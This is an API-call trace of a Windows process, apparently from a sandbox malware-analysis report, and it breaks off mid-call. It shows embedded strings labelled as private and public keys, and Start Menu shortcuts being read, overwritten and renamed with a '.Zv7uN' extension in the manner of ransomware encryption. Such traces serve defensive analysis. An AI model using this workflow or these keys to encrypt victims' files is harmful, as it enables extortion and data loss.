lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f1cc2c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0131.867] GetCurrentThreadId () returned 0xa30 [0131.868] GetCurrentThreadId () returned 0xa30 [0131.868] GetCurrentThreadId () returned 0xa30 [0131.868] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0131.868] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2dc8c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0131.868] GetCurrentThreadId () returned 0xa30 [0131.868] GetCurrentThreadId () returned 0xa30 [0131.868] GetCurrentThreadId () returned 0xa30 [0131.869] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\dfrgui.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\dfrgui.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0131.869] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0fc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0fc*=0) returned 0x0 [0131.869] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0131.869] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x50a [0131.869] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0131.869] ReadFile (in: hFile=0x1dc, lpBuffer=0x1f35a90, nNumberOfBytesToRead=0x50a, lpNumberOfBytesRead=0x18f108, lpOverlapped=0x0 | out: lpBuffer=0x1f35a90*, lpNumberOfBytesRead=0x18f108*=0x50a, lpOverlapped=0x0) returned 1 [0132.086] CloseHandle (hObject=0x1dc) returned 1 [0132.086] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\dfrgui.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\dfrgui.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0132.088] WriteFile (in: hFile=0x1dc, lpBuffer=0x1f37ac0*, nNumberOfBytesToWrite=0x50a, lpNumberOfBytesWritten=0x18f114, lpOverlapped=0x0 | out: lpBuffer=0x1f37ac0*, lpNumberOfBytesWritten=0x18f114*=0x50a, lpOverlapped=0x0) returned 1 [0132.093] CloseHandle (hObject=0x1dc) returned 1 [0132.093] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\dfrgui.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\dfrgui.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\dfrgui.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\dfrgui.lnk.zv7un")) returned 1 [0132.094] GetCurrentThreadId () returned 0xa30 [0132.094] GetCurrentThreadId () returned 0xa30 [0132.094] GetCurrentThreadId () returned 0xa30 [0132.094] GetCurrentThreadId () returned 0xa30 [0132.094] GetCurrentThreadId () returned 0xa30 [0132.094] GetCurrentThreadId () returned 0xa30 [0132.094] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d31a0d9, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3d31a0d9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3d36639a, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4e4, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Disk Cleanup.lnk", cAlternateFileName="DISKCL~1.LNK")) returned 1 [0132.094] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0132.094] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0132.094] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Disk Cleanup.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\disk cleanup.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f148 | out: lpFileInformation=0x18f148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d31a0d9, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3d31a0d9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3d36639a, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4e4)) returned 1 [0132.095] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Disk Cleanup.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\disk cleanup.lnk")) returned 0x20 [0132.095] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Disk Cleanup.lnk", dwFileAttributes=0x80) returned 1 [0132.097] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0132.097] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f1cc2c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 